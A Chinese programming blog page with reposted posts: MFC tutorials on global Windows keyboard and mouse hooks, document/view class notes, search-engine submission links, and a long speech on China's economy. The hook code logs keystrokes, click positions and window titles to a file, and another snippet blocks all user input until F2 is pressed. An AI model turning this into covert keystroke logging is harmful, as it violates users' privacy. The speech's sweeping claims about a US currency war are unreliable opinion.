LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠标钩子处理过程 

   if(nCode < 0 || nCode == HC_NOREMOVE) 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 
   ::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//发送自定义鼠标消息 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 

BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

BOOL bOk; 
g_hWndCaller = hWndCaller; 
if(bInstall) 

   g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc, 
   ModuleFromAddress(MouseProc),dwThreadId);   //安装鼠标钩子 
   bOk = (g_hMouseHook != NULL); 

else 

   bOk = ::UnhookWindowsHookEx(g_hMouseHook); 
   g_hMouseHook = NULL; 

return bOk; 

最后再在工程目录下建一个HookDll.def模块定义文件.写上以下代码 
LIBRARY HookDll 
EXPORTS         //指明导出函数名称 
   SetKeyHook 
   SetMouseHook 
SECTIONS       //指明共享字段 
   YCIShared   Read Write Shared 
用了模块定义文件时,在使用动态链接库的时间就可以直接用函数名调用函数了,否则将无法找到函数.其实用模块定义文件是为了不让动态链接库发生名字改编. 

有了动态链接库后我们还需要用一个应用程序来设置和记录我们的鼠标和键盘记录. 
我们新建一个基于对话框的MFC应用程序工程HookApp.我们首先为我们的自定义消息添加所需消息响应的实现代码. 
在对话框类的头文件的protected下面的注释宏中间加入 
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam); 
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam); 
指明消息处理函数,然后在对话框类的源文件中的 
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog) 
和END_MESSAGE_MAP之间加入下面的代码 
ON_MESSAGE(HM_KEY,onHookKey) 
ON_MESSAGE(HM_MOUSE,onHookMouse) 
定义好后在源文件中写其实现函数: 
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam) 

// 此时参数wParam为用户按键的虚拟键码, 
// lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息 
char szKey[80]; 
::GetKeyNameText(lParam, szKey, 80);   //获得按键名 
CString strItem; 
strItem.Format("用户按键:%s", szKey); 
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
pListCtrl->InsertString(-1,strItem); 
     CFile MyFile; 
char *content; 
     if(!MyFile.Open(this->MyDocumentDir, 
   CFile::modeRead | CFile::modeWrite)) 

   MyFile.Open(this->MyDocumentDir, 
   CFile::modeCreate); 
   return 0; 

MyFile.SeekToEnd();                 //移动记录指针到末尾 
pListCtrl->GetText(pListCtrl->GetCount()-1,strItem); 
content=strItem.GetBuffer(MAX_PATH); 
MyFile.Write(content,strItem.GetLength()); 
CTime today=CTime::GetCurrentTime(); 
CString str=today.Format("\t\t%Y年%m月%d日 %H:%M:%S\r\n"); 
MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength()); 
MyFile.Close(); 
return 0; 

long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam) 

LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam; 
CString strItem,strText; 
     CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
CPoint point; 
::GetCursorPos(&point); 
ClientToScreen(&point); 
CWnd *pWnd=CWnd::GetForegroundWindow(); 
if(pWnd) 

   char str[80]; 
   pWnd->GetWindowText(str,80); 
   strText.Format("窗口:%s",str); 

CString str; 
/*CString tempstr; 
//   ClientToScreen(&pMouseHook->pt); 
   int x,y; 
   x=pMouseHook->pt.x; 
   y=pMouseHook->pt.y; 
   tempstr.Format("X=%d,Y=%d",x,y); 
   strText+=tempstr;*/ 
     if(wParam==WM_RBUTTONDOWN) 

   str.Format("   右键单击:位置 X=%d,Y=%d",point.x,point.y); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

if(wParam==WM_LBUTTONDBLCLK) 

   ScreenToClient(&point); 
   str.Format("   左键双击:位置 X=%d,Y=%d",point.x,point.y); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

if(wParam==WM_LBUTTONDOWN) 

   str.Format("   左键单击:位置 X=%d,Y=%d",point.x,point.y); 
   //MessageBox(strText); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

return 0; 

void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl) 

char *content; 
     CFile MyFile; 
if(!MyFile.Open(this->MyDocumentDir, 
   CFile::modeRead | CFile::modeWrite)) 

   MyFile.Open(this->MyDocumentDir, 
   CFile::modeCreate); 
   pListCtrl->InsertString(-1,"失败"); 
   return; 

MyFile.SeekToEnd(); 
content=strText.GetBuffer(strText.GetLength()); 
MyFile.Write(content,strText.GetLength()); 
CTime today=CTime::GetCurrentTime(); 
CString strTime=today.Format("\t\t%Y年%m月%d日 %H:%M:%S\r\n"); 
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength()); 
MyFile.Close(); 

上面的代码就是实现将鼠标消息和键盘消息的操作消息添加到一个列表框中和记录到一个文件上的代码.其中this->MyDocumentDir是你要将操作消息记录到的文件路径. 

在对话框初始化的时候
if(!SetKeyHook(TRUE,0, m_hWnd))
   MessageBox("安装钩子失败!");
if(!SetMouseHook(TRUE,0, m_hWnd))
   MessageBox("安装钩子失败!");

最后在
void CHookAppDlg::OnDestroy() 
{
::SetKeyHook(FASLE);//取消安装钩子
::SetMouseHook(FALSE);//取消安装钩子
}

这是鼠标和键盘消息的监听代码,你也可以为应用程序安装其他类型的钩子. 

posted @ 2010-04-03 11:03 jcss 阅读(238) 评论(0) 编辑

(转) 

先建立动态链接库。

文件名DllHook.cpp

代码如下:

#include "windows.h"

HINSTANCE h_st;
HHOOK g_KeyBoardHook;
HHOOK g_MouseHook;

HWND g_wnd;
/*BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to the DLL module
DWORD fdwReason,     // reason for calling function
LPVOID lpvReserved   // reserved
)
{
h_st=hinstDLL;
//return 1;
}*/

LRESULT CALLBACK MouseProc(
int nCode,      // hook code
WPARAM wParam, // message identifier
LPARAM lParam   // mouse coordinates
)
{
return 1;
}


LRESULT CALLBACK KeyboardProc(
int code,       // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam   // keystroke-message information
)
{
if(VK_F2==wParam)
{
   ::SendMessage(g_wnd,WM_CLOSE,0,0);
   UnhookWindowsHookEx(g_MouseHook);
   UnhookWindowsHookEx(g_KeyBoardHook);
}
else
{
   return 1;
}
}


void SetHook(HWND hwnd)
{
g_wnd=hwnd;
g_MouseHook=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("HookDll"),0);
g_KeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("HookDll"),0);
}

然后在这个项目的目录文件下手工建立一个HookDll.def文件,用作模块导出。

用VC导入这个文件

工程->添加工程->Files导入这个文件到项目里面

此文件代码如下:

LIBRARY HookDll
EXPORTS 
SetHook @3

接下来就是建立MFC应用程序了。建立一个对话框应用程序,取名DllHook

在classview下找到OnInDialog()函数,

做如图所示修改

posted @ 2010-04-02 13:11 jcss 阅读(181) 评论(0) 编辑

文档类、子框架类及视图类的关系及如何相互调用 收藏 
了解文档和视图的相互作用关系是编写MFC程序的基本功。但是MFC的应用程序框架把文档和视图之间的关系封装了起来,初学的朋友往往不得要领,因此写程序往往被局限于在用向导生成的框架中。本文希望能够尽可能说明白文档视图框架之间是如何进行作用,希望能给一些朋友带来小小的帮助。   
  几个概念:   
  (虽然大家都知道了,雷神还是要重申一次)   
  文档对象:是用来保存数据的。   
  视图对象:是用来显示和编辑数据的。   
  应用程序框架:框架是用来管理不同文档显示界面的。例如你有一个数据网格显示界面,还有一个图形显示界面,它们的数据可能都来自你的文档,但是视图不同,怎么办用框架。为什么不用视图?为的是把界面管理独立的拿出来。   
  文档模板:MFC把文档/视图/框架视为一体,只要你创建文档/视图框架结构的程序,必定会为你创建这三个类。这个工作在在应用程序初始化时完成,如下:   
    
  BOOL   CMyHtmlApp::InitInstance()   
  {   
  //。。。。。。   
  CSingleDocTemplate*   pDocTemplate;   
  pDocTemplate   =   new   CSingleDocTemplate(   
  IDR_MAINFRAME,   
  RUNTIME_CLASS(CMyHtmlDoc),   
  RUNTIME_CLASS(CMainFrame),               //   main   SDI   frame   window   
  RUNTIME_CLASS(CMyHtmlView));   
  AddDocTemplate(pDocTemplate);   
  //。。。。。。   
  }   
    
  单文档:就是一次只能打开一个文件,和你的文档类型支持的多少无关。你完全可以做一个单文档的支持所有图象格式的程序,只不过它一次只能打开一个文档罢了。   
  多文档:就是你可以打开多个文件,和文档类型也无关。你也可以作一个可以同时打开多个文档的程序,但它只支持一种文档类型。   
    
  何时需要文档/视图框架结构?   
  首先你可以不使用文档视图这种框架结构,即便是在MFC中。你可以在你需要的时候选择使用这种方式。你可以完成一个只有视图没有文档的程序,例如一个基于对话框的应用。   
  哪什么时候需要呢?   
  当你想将你的数据层和界面层分开的时候。   
  通常我们对数据的操作放在文档类中,例如存取,打开,关闭。在这里你可以尽情的对你的数据进行操作,如果你需要,在对数据进行了改变后,对视图做一下更新,那么程序会将你对数据所做的改变呈现给你的程序的用户。由此可见视图的作用就是提供一个用户和数据之间进行数据交换的界面,它的作用就是在需要的时候显示数据,并在需要的时候提供输入界面。当用户输入后实际的数据操作工作是由文档类来做的。那框架类有在做什么呢?   
  框架类是为了便于管理你的文档类和视图类而存在的。通常我们的操作都是通过视图窗口完成,消息由视图进行接收并且进行处理。所以消息映射定义一般在视图中。但如果一个应用同时拥有多个视图而当前活动视图没有对消息进行处理则消息会发往框架窗口。另外框架窗口可以方便的处理非窗口消息。   
    
  再来说一边典型的单文档程序的生成过程(不完整,只挑有用的)   
  1、   CwinApp对象被建立,这个对象是全局的且只能有一个,名字叫theApp。这时你可以完成一些工作,例如对注册表的操作,(如果你想写一个不修改注册表的软件,需要在这里做写工作)   
  2、   在InitInstance()函数中创建文档模板,文档模板以CruntimClass静态成员指针做构造参数。   
  3、   执行MFC框架默认的命令行参数。命令行参数有很多其中之一是,Cmd1它会创建一个新文件。(如果没有命令行参数则执行默认的ID_FILE_NEW)   
  4、   文档模板的实例根据三个类的动态创建信息创建出文档、视图、框架。   
  5、   对文档、视图、框架进行初始化。   
    
  我们对文档,视图,框架如何产生以及他们的用途有了一定的了解,如何有效的使用它们呢。   
    
  文档,视图,框架之间的相互作用。   
  由上面的典型的单文档程序的生成过程可以看出一个完整的应用一般由四个类组成:CWinApp应用类,CFrameWnd框架类,CDocument文档类,CView视图类。我将四个类常用的成员函数列出,大家一看便知。不过参数,返回值均未列出,大家可以从MSDN上了解更多。几个重要的虚函数也未做说明。大家自己看吧。   
    
  通过全局函数AfxGetApp可以得到CWinApp应用类的全局对象theApp.   
  CwinApp   
  数据成员:   
  m_pszAppName   应用程序名称   
  m_pszExeName   可执行文件的名称   
  m_pszProfileName   INI文件的名   
  m_pszRegistryKey   注册表或INI文件的KEY   
  m_hInstance   实例的句柄   
  m_pMainWnd   为框架窗口指针   
  成员函数:   
  InitInstance()     //初始化   
  ParseCommandLine()   //完成命令行的解析处理   
    
  CFrameWnd   
  GetActiveDocument()   //得到当前活动文档指针   
  GetActiveView()   //得到当前活动视图指针   
  SetActiveView()   //设置当前视图为活动视图   
    
  CDocument   
  OnNewDocument()   
  OnOpenDocument()   
  OnSaveDocument()   
  OnFileClose()   
  //以上是用来对文档的操作   
  GetFirstViewPosition()   //文档对象链表中的第一个文档位置   
  GetNextView()   //下一个   
  //以上是用来遍历所有和文档关联的视图   
  GetDocTemplate()得到文档模板指针   
  AddView()   //增加一个视图   
  RemoveView()   //删除一个视图   
  UpdateAllView()   //更新所有视图   
    
  Cview   
  GetDocument()得到对应的文档指针     
    
  其他的就不列出了,大家还是看MSDN。你可以直接查看CWinApp应用类,CFrameWnd框架类,CDocument文档类,CView视图类的类成员。   
    
    
  最后说说几个常见到的问题。   
  1,为什么在对话框的应用程序中没有发现文档模板?   
  默认的对话框程序没有使用文档/视图框架结构。   
    
  2 ,如果我使用数据库作为数据源是否意味着可以不需要文档类?   
  看你自己,但是我建议使用。因为可以文档,视图这一个清晰方便的框架结构,以及方便完成三者之间的相互作用。  

------------------------------------------------------------------------------------------------------------

框架、文档、视图类之间的调用关系

1、主框架(CFrameWnd)中访问视图(CView)
  CView* GetActiveView() const;
  通常定义的视图为CView的派生类,在调用自定义视图对象的方法时

应该这样写:((CMouseKeyView*)GetActiveView())->MyFunc();

2、主框架(CFrameWnd)中访问文档(CDocument)
  GetActiveDocument,返回CDocument对象;

3、在视图(CView)中访问文档(CDocument)
  inline CMouseKeyDoc* CMouseKeyView::GetDocument()
    {return (CMouseKeyDoc*)m_pDocument;}

4、在视图(CView)中访问框架(CFrameWnd)
  CFrameWnd* GetParentFrame() const;

5、在文档(CDocument)中访问框架(CFrameWnd)
  CWnd* AfxGetMainWnd();
  CWnd* AfxGetApp()->m_pMainWnd;

6、在文档(CDocument)中访问视图(CView)
  UpdateAllViews
  功能:通知所有的视图文档已被修改的信息
  原型:
    void UpdateAllViews(
      CView* pSender,  // 要更新的视图指针,如果希望更新所有视

图,将此参数设为NULL
      LPARAM lHint=0L, // 包含更改消息的通知
      CObject* pHint=NULL // 保管更改消息的对象
    }

7、在其他类中访问文档类(CDocument)
  CDocument* GetDocument()
  {
    CFrameWnd* frm=(CFrameWnd*)::AfxGetMainWnd();
    ASSERT(frm);
    CDocument* pDoc=frm->GetActiveDocument();
    ASSERT(pDoc);
    ASSERT(pDoc->IsKindOf(RUNTIME_CLASS(CMouseKeyDoc)));
    return (CMouseKeyDoc*)pDoc;
  }

[注:资料转载自网上]

————————————————————————————————————————————————————————————

  MFC中文档和视图的关系 收藏 
1、应用程序对象有一个文档模板管理器CDocManager* m_pDocManager(第一次调用AddDocTemplate时new出来)

2、文档模板管理器有一个文档模板对象列表CPtrList m_templateList(AddDocTemplate 函数负责添加该列表)

3、文档模板对象拥有文档、视图、框架的静态CRuntimeClass成员指针用于动态创建,还有一个m_nIDResource用来表示应采用的UI对象

4、每个文档模板对象拥有 m_pOnlyDoc 或 m_docList (文档指针或文档指针列表),OnFileNew 和 OnFileOpen都调用文档模板对象的OpenDocumentFile,OpenDocumentFile 调用文档模板的 CreateNewDocument,CreateNewDocument再调用文档模板的 AddDocument 填充该文档列表或文档指针

5、文档对象有一个文档模板指针 m_pDocTemplate (回指文档对象所属模板对象).同上,也是文档模板的 AddDocument 成员函数把 this 指针(文档模板自身).塞给刚刚创建的文档对象

6、文档对象有一个 m_viewList(视图列表),OnFileNew 和 OnFileOpen 都调用文档模板对象的OpenDocumentFile,该函数调用 CreateNewDocument 创建文档,然后调用 CreateNewFrame 创建框架对象.

    CreateNewFrame 构造CCreateContext对象
    CCreateContext两个重要字段:(1)刚创建的文档指针(2)视图的CRuntimeClass指针
    CreateNewFrame 创建框架对象后由该对象调用 LoadFrame
    LoadFrame 的最后一个参数即为 CCreateContext 指针

    LoadFrame 调用 Create,Create 再调用 CreateEx 最后一个参数均为此CCreateContext指针
    Create的调用由消息映射表引发CFrameWnd::OnCreate被调用
    OnCreate的LPCREATESTRUCT的一个字段lpCreateParams 仍然是这个CCreateContext指针

    则在CFrame::OnCreate中,由这个CCreateContext的CRuntimeClass(视图的)来调用CreateObject
    产生视图对象后,由该对象调用Create(最后一个参数仍然是这个CCreateContext指针)

    视图对象的Create由消息映射表引发视图对象的OnCreate被调用
    视图的OnCreate的参数 LPCREATESTRUCT 的 lpCreateParams 还是这个CCreateContext指针)
    于是利用 CCreateContext 的成员 m_pCurrentDoc (当前文档)
    来调用 CDocument::AddView 把视图加入文档的视图列表

7、视图有一个文档指针m_pDocument (指向所属文档)
    同上,也是CDocument::AddView函数初始化的,如下所示:
    pView->m_pDocument = this;

8、框架有一个m_pViewActive(活动视图)
    由框架的SetActiveView进行设置

posted @ 2010-03-27 15:09 jcss 阅读(497) 评论(0) 编辑

进入这个网址查看您的网站被各大搜索引擎收录情况:http://indexed.webmasterhome.cn/?domain=hi.baidu.com%2Fyang_nicholas

以下提供各大搜索引擎的收录网址:
1、Google博客收录:http://blogsearch.google.com/ping?hl=zh-CN (独特的Ping 服务可以让你的博客内容收录的更快)
   GOOGLE:http://www.google.com/intl/zh-CN/add_url.html
   
2、百度博客收录:http://utility.baidu.com/blogsearch/submit.php
   百度:http://www.baidu.com/search/url_submit.html
   
3、雅虎博客收录:http://www.yahoo.cn/ex/blog_rss/rss_input.php(RSS有一个好处是、能准确的提供信息、让博客在搜索引擎中有更好的展现、雅虎推荐使用RSS)

4、搜狗(搜狐)博客收录:http://www.sogou.com/feedback/blogfeedback.php

5、新浪爱问博客收录:http://blog.iask.com/add_new_rss.php
爱问:http://www.iask.com/guest/add_url.php
博客有更新、立即通知爱问博客Ping服务:http://blog.iask.com/ping.php(需支持RSS)

6、有道(163)博客收录:http://tellbot.yodao.com/report?type=BLOG&keyFrom=help(有道无法收录搜狐博客)
   有道网站收录: http://tellbot.yodao.com/report?type=web
   有道博客收录:http://tellbot.yodao.com/report?type=BLOG

7、奇酷(以前的奇虎)博客收录:http://so.blog.qikoo.com/subrss.html(第三方托管(例如:www.feedburner.com的RSS不在收录之列)

8、TOM:http://search.tom.com/tools/weblog/log.php

9、中搜:http://d.zhongsou.com/NetSearch/pageurlrecord/frontpageurl.jsp

10、ALEXA:http://pages.alexa.com/help/webmasters/index.html#crawl_site

PS: 强烈推荐使用博客的RSS地址提交收录,博客的RSS功能可以使搜索引擎更快的发现博客的更新,进行快速收录,同时能更准确的提供信息,让博客在搜索引擎中有更好的展现。

posted @ 2010-03-23 10:35 jcss 阅读(45) 评论(0) 编辑

转载内容如下:

 

今天和各位谈一谈2010年的展望,不过我先念几个新闻给你们听。 
  2009年8月26号,温家宝主持国务院常务会议提出,钢铁、风电等等行业产能过剩。今年一开春,1月20号,又提出十大行业可能还是产能过剩,包括电力、煤炭、焦炭、有色金属、建材、轻工、纺织等十大行业。在我们想象中的经济回暖的过程当中,怎么出现这种结果呢?请各位来宾想一想。 
  截至到今天中午为止的消息,整个1月份北京房产交易量下跌70%几,上海下跌50%几,平均价格下跌 3%~4%左右。当然我必须承认1月份一向是淡季,但是跌幅未免过于巨大。这是什么意思呢? 
  在整个去年回暖的过程当中,我们认识到几个有趣的事实,那就是中国的股市在2008年11月份开始就已经连续四个月回暖,中国楼市在整个去年一年当中在全世界极度萧条的情况之下,是全世界唯一的逆市增长的行业,当然到1月份开始回调。汽车销售呢?全世界各国产量大幅下跌,我们增长46%以上,此外还有奢侈品等等。请各位回忆一下,我们这一年的回暖喜悦当中,是不是真的像我两年之前所说的碰到了问题呢? 
  其实我以前就说过,如果全世界都没有回暖,而只有我们回暖的话,那就代表我们是不正常的。如果是不正常的话,这一切都要调整回来,也就是说为什么我们会回暖呢? 
  不是真正意义上的回暖,而是我们发烧了。为什么会发烧?因为我们生病了。 
  我想在今天三个小时的演讲当中,我把整个观念浓缩成一个小故事和各位做一个沟通。 
  这个小故事是这么讲的:有一位A先生他挖金矿赚了100块,他可以有两个选择.第一个选择:他给他10个矿工每个人1块钱,10×1=10块,他还剩下90块揣在口袋里,因此他很富裕,这1块钱是什么意思呢?这1块钱仅够温饱之用。第二个选择是给每一个矿工5块钱,5×10=50块,他只剩下50块揣在口袋里。 
  但是一旦做了第二个选择,矿工花了1块钱仅够温饱之外,他还剩下四块钱,而这个4块钱他又会拿出其中1块钱去买奢侈品,例如皮包、运动服、运动鞋……A先生突然发现,他多了一个投资的机会,他可以开一个大卖场,专门卖这些东西,比如皮包等等。 
  为了卖这些产品,他还得聘10个女性的售货员,这10个男矿工和10个女售货员会结婚、生孩子。然后他们就需要购买婴儿用品,又要花1块钱买婴儿用品。A先生这个时候发现,他多了第二个投资的机会,那就是生产婴儿用品。矿工夫妇已经花了3块钱了还剩下2块钱了,他们准备住房子了,A先生突然发现他有第三个投资机会,那就是做地产开发,一栋房子多少钱呢?2块钱!等到A先生金矿挖完了,自然形成了一个小市镇,自然而然的成长了。 
  第二个选择我们给他一个名词:藏富于民。 
  但是第一个选择呢? 
  10个矿工每个人只拿到1块钱,那我问你,金矿挖完以后怎么办?10个矿工立刻失业。造成严重的社会问题,A先生不得已又从口袋里再拿出40块钱来,建条高速公路。然后这10个矿工又就业了,当建筑工人,那么高速公路一旦建完以后怎么办?10个矿工又失业了。 
  这个时候A先生突然发现,当他做了第一个选择之后,他立刻面临两个困境:第一个困境他既无法开大卖场,也无法生产婴儿用品,更做不了地产开发商,因为老百姓太贫穷。所以他的第一个困境就叫做:投资经营环境全面恶化。但是他又面临第二个困境,请你想一想,在这么穷的社会里面你建好的高速公路有没有车在上面跑啊?基本没有,没有车跑的高速公路就叫做产能过剩的高速公路,所以A先生一旦做了第一个选择之后,就会面临另外一个问题:严重的产能过剩。 
  他生了两个病,由于他生了两个病,他望着苍茫的大地,10个矿工都离开了,一个杳无人迹的地方,只有一条耀眼的高速公路,上面没有车跑。他面临产业环境恶化、产能过剩,那么他手中剩下的50块能干什么呢?他只有盖一栋豪华别墅,50块钱一栋。 
  这就是做第一个选择的必然结果,而且房子贵得要死,其他产品也会非常贵。 
  这个简单的故事将贯穿整个演讲,你会发现目前中国的现状就是因为我们做了第一个选择,叫做什么?叫做“保八”。保八的结果一定造成两个困境,而两个困境一出来之后你就发现企业家没有地方投,只有炒楼、炒股,从而造成去年的回暖。 
  而我一开始演讲,念给各位听的温家宝的谈话已经告诉各位产能过剩了,这就是这一个例子告诉各位的结果。你们也都知道,我们的投资环境日益恶化,两个病都出来了。那么我今天讲的是比较长的演讲,我现在就在这个前言的基础之上,我和各位朋友谈一谈我今天演讲的主题。 
  下面演讲正式开始。 
  美国对付伊拉克、阿富汗或者未来的也门都是传统的战争,可是对付亚洲国家一律是汇率大战。 
  比如1985年的日本,那个时候日本格外嚣张,日本说GDP要超过美国了,甚至日本还扬言要买下美国,好嚣张。其实他们已经买了2/3夏威夷的地产,甚至日本还说我们也可以对美国说不。 
  1985年,美国针对日本的汇率大战立刻开打。当时美国联合了德国、法国、英国总共4个国家,压迫日本签下了“广场协议”。该协议要求日币升值。从1985到1987年日币升值了一倍,严重打击了日本商社。 
  到了1987年年底,美国再次投下第二颗炸弹,那就是逼迫日本降低利率,日本利率跌到当时最低。这个炸弹太可怕了,因为1985年到1987年两年之间的日元升值,日本各大商社遭到重大困境。到1987年第二颗炸弹丢下之后发现利率这么低,因此日本各大商社开始向银行借钱炒楼炒股。 
  1990年1月份开始,美国投下第三颗炸弹,炸毁了日本的资产泡沫,让日本陷入了长达20多年的萧条。 
  各位朋友记住,汇率大战一定要配合资产泡沫化才有效果,不知道你们听我讲这句话,心中有没有一丝恐惧?因为我们已经有资产泡沫了。 
  1997年亚洲有个四小龙,还有四小虎,这八个国家和地区也是嚣张的不得了。我们什么也没有,就是有点钱,结果美国趁着95年开始的亚洲资产泡沫化的天赐良机,1995年狙击亚洲货币,贬值一半,摧毁了泡沫,结果杀死了四小虎,杀伤了两只小龙。要不是1997年中国政府出手搭救香港同胞,香港现在还是萧条的,可是其他国家地区就没有这么幸运了。 
  到了2008年,亚洲又有一个新兴社会主义国家越南冉冉升起,美国趁着2005年开始的越南资产泡沫化的契机,摧毁了越南的资产泡沫,让越南随时随地陷于全面崩溃的边缘,小小越南哪能抵抗得了美国汇率大战的洗劫? 
  不知道各位朋友记不记得我说的一句话,去年4、5月份我说按照我对美国的理解,我有30%的把握,美国将在年底对中国展开汇率大战。很不幸的告诉各位朋友,我又说对了。 
  2009年9月20日,美国汇率大战正式布阵完成,我们国家领导人在纽约参加峰会时,我们一如既往的向全世界表达自由贸易善意。奥巴马发言了,他劈头一句:人民币汇率必须升值,出口必须减少。 
  9月20号奥巴马登高一呼,全世界四方响应。11月13号,亚太经合组织当着我们与会国家领导人的面要求人民币升值,11月30号最后一个堡垒沦陷要求人民币升值。 
  整个12月份我们没有任何动静,我们汇率仍然保持在6.82水平。不过我想提醒各位朋友,人类历史上各个国家对一个国家的汇率如此之敌视,这是从来没有过的。1985年对付日本也不过是4个国家,这一次是全世界除了非洲以外的国家联合对付中国。所以我在演讲的时候,我对于我们的处境非常忧虑,我也对于我们领导人的压力非常同情,因为这是历史上从来没有过的。12月我们顶住了压力,人民币汇率就是不升值,西方国家似乎没有什么反映,原因呢?圣诞节快到了。 
  我担心圣诞节之后压力会接踵而来,12月31号美国派出他的头号马前卒,2008年诺贝尔经济奖得主在《纽约日报》发表对中国人的元旦祝词,标题是《2010年是中国的年》,副标题是《那是一个很糟糕的一年》。他说:中国操纵人民币汇率不升值,他用了句英文:中国剥削全世界。好可恶啊!不晓得谁剥削谁。但是我们没有话语权,话语权掌控在西方之手。他说如果人民币不升值,建议美国展开第二场战争:贸易大战。 
  而根据我的理解,汇率大战和贸易大战将形成两个前置的爪子,斩断你的喉咙。到了今年1月份伦敦《金融时报》立刻登出头版文章,利用图表证明克鲁格曼是对的。 
  到了1月份说中国首次超越德国成为全世界最大的出口国,我们看到这个新闻扬扬得意之余已经上当了,欧洲是这么想的:欧洲百姓啊,为什么我们的失业这么严重?都是中国人的错,因为中国人出口超过了德国。 
  中国通过出口拉动降低了自己的失业率,可是欧洲人为此付出惨痛的代价,因此欧美的失业率超过了10%。他们问中国为什么出口上升?因为中国操纵人民币汇率,这是胡说八道的,但是我们没有话语权。就是一系列的报道之后,使得欧美老百姓同仇敌忾,欧美各国领导把失业问题,尤其是金融海啸导致的失业问题居然一股脑地推到我们头上,如此之可恨。 
  到了1月20号,七大工业国通过媒体表示,2月5号的加拿大峰会,七大工业国将再次对人民币施压,要求人民币升值。而我们的副总理李克强在1月20号很清楚的向全世界表达我们的决心,他说人民币汇率保持稳定对于全世界都是有益处的。 
  当然李克强这么讲话我本人肯定是支持他的,但是我担忧我们的选择不多。我们只有两个选择,第一个人民币坚持不升值,我们就会与全世界为敌,他们就会用贸易大战对付我们;第二个选择顺应全世界的要求,人民币在春节之后升值3%到5%,两三年之内再升值20%~30%。 
  至于我们会做什么选择,过年之后就会非常清楚,不过两个选择都是非常艰难的选择。2010年是非常复杂的一年,而且这个复杂是改革开放30年来的第一次。我希望各位企业家、政府能够携手共度难关,但是这一切不是我们的选择,因为四大礼物已经准备妥当,环环相扣准备好了。 
  下一步就是贸易大战,贸易大战什么时候布阵完成的?其实有些战争是不能败的,有些战争也是不应该败的。去年9月12号,奥巴马签署的轮胎特保案就是美国贸易大战所布的一个重要的棋子。那是不能败的,可是我们败的如此之凄惨,后续的余波荡漾让我们难以承受。 
  这个问题太重要,因此这个时候有必要和各位朋友谈一谈贸易大战本质是什么。 
  其实事情来得快了,贸易大战一开始叫轮胎特保案,这是美国工会提出的第七次特保案,前六次都被美国总统否决了,第七次竟然通过了,那太可怕了,通过的本身就是一个精心策划的国家战略。 
  这一切的开始来源于美国钢铁工会提出的轮胎特保案,我调查了一下,我突然发现我们翻译错了,这个工会的名字原来应该是钢铁、橡胶、纸业、林业、能源、制造、服务等等很多行业的美洲联合总工会,我们怎么翻译的呢?我们查字典,先查第一个单词,发现是钢铁马上写下来,再往后一看还有几十个单词就不查了,竟然发表为钢铁工业,你如此之草率你焉能不败,他是奥巴马的铁杆兄弟,你晓不晓得这个工会有多可怕? 
  2008年总统选举,当奥巴马和希拉里杀的难分难解的时刻,就是这家工会出面支持奥巴马,使得奥巴马迈上了总统的宝座,所以奥巴马总统和这家工会关系之暧昧是你不可想象的。这么重大的竞争对手,我们竟然还能把它翻译错,这么可怕的工会,我后来相信他是被受益的。 
  经过调查之后得到两个结论,结论一,2004到2008年,中国出口到美国的轮胎所占的市场份额上升了12%。结论二,同样期间,美国本土轮胎公司的市场份额刚好下跌12%,由于中国的上升刚好是美国的下跌,所以判定中国有罪。 
  在这种危机重重的国际谈判当中,我们派出来的堂堂贸易谈判代表徐文英同志竟然不会讲英文。她在当时破口大骂美国国际贸易协会,咆哮公堂,说它是恶意中伤中国。徐文英说,你们美国敢制裁我们中国的轮胎,那我们中国就不出口便宜轮胎给你了,所以美国人就换不起轮胎了,如果美国人换不起轮胎,高速公路车祸就增加了。这就是我们贸易谈判代表的回答,你能想象吗?她讲完之后,全场是哄堂大笑。 
  美国国际贸易协会把她的答辩配合上两个结论呈送给奥巴马总统,奥巴马立刻签署轮胎特保案,从而完成了一把钳子的第二根爪子。 
  签署完成之后,在美国的运作之下,南美洲的巴西、阿根廷、印度立刻发起轮胎特保案,德国发起太阳能电磁反倾销案,欧美发起鞋类、铝箔、无缝钢管反倾销案,美国发起九寸钢管、输油管、磷酸盐等等反倾销案。 
  就在这种压力之下,山雨欲来风满楼,中国最大的三个出口工会,包括纺织、电子机械和轻工工艺在一个月之前在美国的CNN登了一段30秒的中国制造的广告。他们希望透过柔性的诉求,感动美国老百姓,从而希望美国政府放他们一马。 
  不过请问各位朋友,如果美国决定对我们三大出口行业进行制裁的话是什么结果?如果再配合第一场大战,如果人民币汇率升值20%,你知不知道我们要倒退多少年? 
  不过很不幸的告诉各位朋友,这个广告是无效的,今年1月份开始,美国又针对我们三项产品展开反倾销,第一个叫钻管,第二个金属网制造的托盘,还有电热毯,托盘和电热毯就是我们轻工工艺纺织和电子工业,美国已经开始制裁了。 
  我讲到这儿,我不知道后果会是什么,因为我的水平有限,不过我是非常担忧。稍一不慎后果不堪设想。你能不能想象今天的局势有多危机,这个时候需要大智慧,需要群策群力。而这个时候中国商务部非常草率,你完全没有准备好,你太轻敌,太大意,你焉能不败? 
